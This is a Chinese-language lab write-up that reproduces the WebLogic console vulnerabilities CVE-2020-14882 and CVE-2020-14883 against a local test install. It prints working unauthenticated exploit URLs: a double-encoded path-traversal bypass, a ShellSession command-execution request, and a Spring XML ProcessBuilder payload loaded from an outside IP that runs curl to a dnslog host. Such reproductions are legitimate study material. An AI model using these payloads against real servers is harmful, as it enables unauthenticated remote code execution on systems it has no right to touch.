漏洞描述
2020年10月29日,360CERT監測發現 Weblogic ConSole HTTP 協議代碼執行漏洞,該漏洞編號為 CVE-2020-14882,CVE-2020-14883 ,漏洞等級:嚴重,漏洞評分:9.8。
遠程攻擊者可以構造特殊的HTTP請求,在未經身份驗證的情況下接管 WebLogic Server Console,並在 WebLogic Server Console 執行任意代碼。
影響版本
Oracle Weblogic Server 10.3.6.0.0
Oracle Weblogic Server 12.1.3.0.0
Oracle Weblogic Server 12.2.1.3.0
Oracle Weblogic Server 12.2.1.4.0
Oracle Weblogic Server 14.1.1.0.0
環境搭建
這里我們測試WebLogic12.2.1.4,java環境是jdk1.8.0_221,自行下載
這里提供WebLogic12.2.1.4的安裝教程
下載地址:https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html
下載正確的文件
解壓
用管理員權限運行
java -jar fmw_12.2.1.4.0_wls_lite_generic.jar
進入安裝界面
下一步
下一步
完成
開始安裝weblogic的web管理
設置口令,然后創建
啟動域
會自動打開weblogic的啟動界面
我們就進入了weblogic的登錄界面(漏洞就是在這個界面觸發的)
漏洞復現
Weblogic是Oracle公司推出的J2EE應用服務器,CVE-2020-14882允許未授權的用戶繞過管理控制台的權限驗證訪問后台,CVE-2020-14883允許后台任意用戶通過HTTP協議執行任意命令。使用這兩個漏洞組成的利用鏈,可通過一個GET請求在遠程Weblogic服務器上以未授權的任意用戶身份執行命令。
CVE-2020-14882:允許未授權的用戶繞過管理控制台的權限驗證訪問后台
遠程攻擊者可以構造特殊的HTTP請求,在未經身份驗證的情況下接管 WebLogic Server Console。
權限繞過漏洞(CVE-2020-14882),訪問以下URL,未授權訪問到管理后台頁面(低權限的用戶):
http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal
發現我們現在是低權限的用戶,無法安裝應用,所以組合下面的CVE-2020-14883 可以繼續利用
CVE-2020-14883:允許后台任意用戶通過HTTP協議執行任意命令
遠程攻擊者可以構造特殊的HTTP請求,在未經身份驗證的情況下接管 WebLogic Server Console ,並在 WebLogic Server Console 執行任意代碼。
這個漏洞的利用方式有兩種,一是通過com.tangosol.coherence.mvel2.sh.ShellSession,二是通過com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext。
方法一:
http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27curl%20pyxgs4.dnslog.cn%27);%22)
成功執行:
方法二:
一種更為通殺的方法,對於所有Weblogic版本均有效。
但是必須可以出網,要可以訪問到惡意的xml
首先需要構造一個XML文件,並將其保存外網(漏洞機或者可訪問的一台機子上)上,就是要有外網ip
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[curl 6zu4z2.dnslog.cn]]></value>
</list>
</constructor-arg>
</bean>
</beans>
然后通過如下URL,即可讓Weblogic加載這個XML,並執行其中的命令:
http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://64.254.68.38:8085/weblogic/evil.xml%22)
成功回顯
參考文章:
https://blog.csdn.net/god_zzz/article/details/109445728
https://www.cnblogs.com/2rsh0u/p/13911794.html